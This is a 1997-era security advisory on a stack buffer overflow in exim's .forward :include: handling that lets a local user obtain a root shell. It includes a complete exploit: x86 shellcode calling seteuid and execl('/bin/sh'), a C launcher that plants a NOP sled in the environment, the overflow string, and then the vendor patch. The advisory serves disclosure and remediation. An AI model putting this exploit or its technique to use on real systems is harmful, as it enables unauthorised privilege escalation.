COMMAND
exim
SYSTEMS AFFECTED
Systems running exim
PROBLEM
The latest released version of exim lets any local user obtain
a root shell. Exim checks for :include: in .forward files at
line 1031 of exim/parse.c. At line 1034 it defines a buffer of 256
characters. It copies the :include: filename into the buffer. If
the first character of the filename is not a slash, it returns
immediately. Latest version is 1.651 (at moment of writing this).
Exploit should be to run exim -bt you@your.host, with appropriate
code in the environment, with an appropriate :include: filename
in ~/.forward. Credit goes to Dan J. Bernstein.
For example, under BSD/OS, Dan set up the environment with the
attached program. He set up the filename as 260 z's followed by
0xdd, 0xdd, 0xbf, 0xef. The address 0xefbfdddd was in the middle
of the environment in the exim process. If he hadn't known the
frame structure he would have repeated the address at more
locations in the :include: filename.
The asm code below cuts several corners. Since Dan knew the
addresses of seteuid() and execl() inside the exim binary, he
didn't bother writing his own library-independent syscalls.
Conveniently enough, "/bin/sh" is also in the exim binary (from
the pipe transport). He also didn't bother eliminating 0's from
the asm; he put the 0's into the environment by spreading data
across several environ entries.
/* sample code for one OS/compiler combination; ./this ./exim -bt you */
char code[] = {
0x31,0xc0 /* eax = 0 */
, 0x50 /* push eax */
, 0xbb,0x98,0x30,0x04,0x00 /* ebx = 0x43098; &seteuid in my copy of exim */
, 0xff,0xd3 /* call ebx */
, 0x31,0xc0
, 0x50
, 0xb8,0x9a,0xd1,0x03,0x00 /* eax = 0x3d19a; &"/bin/sh" in my copy of exim */
, 0x50
, 0x50
, 0xbb,0xf8,0x29,0x04,0x00 /* ebx = 0x429f8; &execl in my copy of exim */
, 0xff,0xd3
, 0x00 /* just to terminate the last string in the environment */
} ;
char buf[1000];
char *env[1001];
void main(argc,argv)
int argc;
char **argv;
{
int i;
int j;
for (i = 0;i < sizeof buf;++i) buf[i] = 0x90; /* nop */
memcpy(buf + sizeof buf - sizeof code,code,sizeof code);
j = 0;
env[0] = buf;
for (i = 0;i < sizeof buf;++i) if (!buf[i]) env[++j] = buf + i + 1; env[j] = 0;
if (argv[1]) execve(argv[1],argv + 1,env);
exit(1);
}
SOLUTION
Here is a patch developed by Philip Hazel. It is for versions
1.62 and 1.651:
---snip-----------------------------------------------------------
*** exim-1.62/src/parse.c Wed Apr 16 14:34:49 1997
--- parse.c Tue Jul 22 09:41:50 1997
***************
*** 1037,1042 ****
--- 1037,1048 ----
int extracted;
FILE *f;
+ if (len-9 > 255)
+ {
+ *error = "included file name is too long";
+ return -1;
+ }
+
strncpy(filename, s+9, len-9);
filename[len-9] = 0;
---snip-----------------------------------------------------------
*** exim-1.651/src/parse.c Fri Jul 4 16:33:56 1997
--- parse.c Tue Jul 22 09:31:54 1997
***************
*** 1056,1061 ****
--- 1056,1067 ----
*error = string_sprintf("file name missing after :include:");
return -1;
}
+
+ if (flen > 255)
+ {
+ *error = string_sprintf("included file name \"%s\" is too long", t);
+ return -1;
+ }
strncpy(filename, t, flen);
filename[flen] = 0;
---snip-----------------------------------------------------------